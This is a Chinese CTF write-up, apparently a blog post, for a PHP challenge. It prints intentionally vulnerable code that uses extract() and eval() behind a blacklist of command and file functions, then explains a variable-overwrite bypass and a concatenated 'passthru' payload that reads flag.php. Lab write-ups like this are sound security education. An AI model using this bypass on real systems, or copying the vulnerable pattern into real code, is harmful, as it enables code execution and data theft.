献上源码
<?php
show_source(__FILE__);
error_reporting(0);
$you = "you are ?";
extract($_POST);
if($you != 'i am pig'){
echo '<img src="./Ding.gif">'."</br>";
die('Ding Ding Ding ~');
}
$peiqi = ["y","eval","assert","print_r","system", "shell_exec","ini_set", "scandir", "exec","proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
$peiqi = array_merge($peiqi, get_defined_functions()['internal']);
foreach($peiqi as $i){
if(stristr($_GET[peiqi], $i)!==false){
echo '<img src="./heihei.jpg">'."</br>";
die('修完bug就可以睡觉了,嘿嘿嘿~');
}
}
eval($_GET[peiqi]);
//flag 在 ./flag.php里
?>
禁用函数
$peiqi = ["y","eval","assert","print_r","system", "shell_exec","ini_set", "scandir", "exec","proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
$peiqi = array_merge($peiqi, get_defined_functions()['internal']);
变量覆盖漏洞过第一个卡,POST提交 you=i am pig,敲钉子图片消失
$you = "you are ?";
extract($_POST);
if($you != 'i am pig'){
echo '<img src="./Ding.gif">'."</br>";
die('Ding Ding Ding ~');
}
后面的代码是判断GET提交的参数,是不是包含禁用的函数,因为最后GET提交的参数会交给eval函数执行,此处可以考虑使用拼接php代码来绕过。
获取flag命令 cat ./flag,因为禁用了y,不是使用system函数,使用passthru拼接绕过
payload:
peiqi=$a=pass;$b=thru;$c=$a.$b;$d='cat ./flag.php';$c($d);
flag在源码里_
本文深入解析了一段PHP代码,揭示了其中的变量覆盖漏洞和禁用函数绕过的安全问题。通过分析代码结构和执行流程,展示了如何利用特定payload绕过安全限制,最终获取flag。同时,强调了在实际应用中防范此类安全风险的重要性。
1万+

被折叠的 条评论
为什么被折叠?



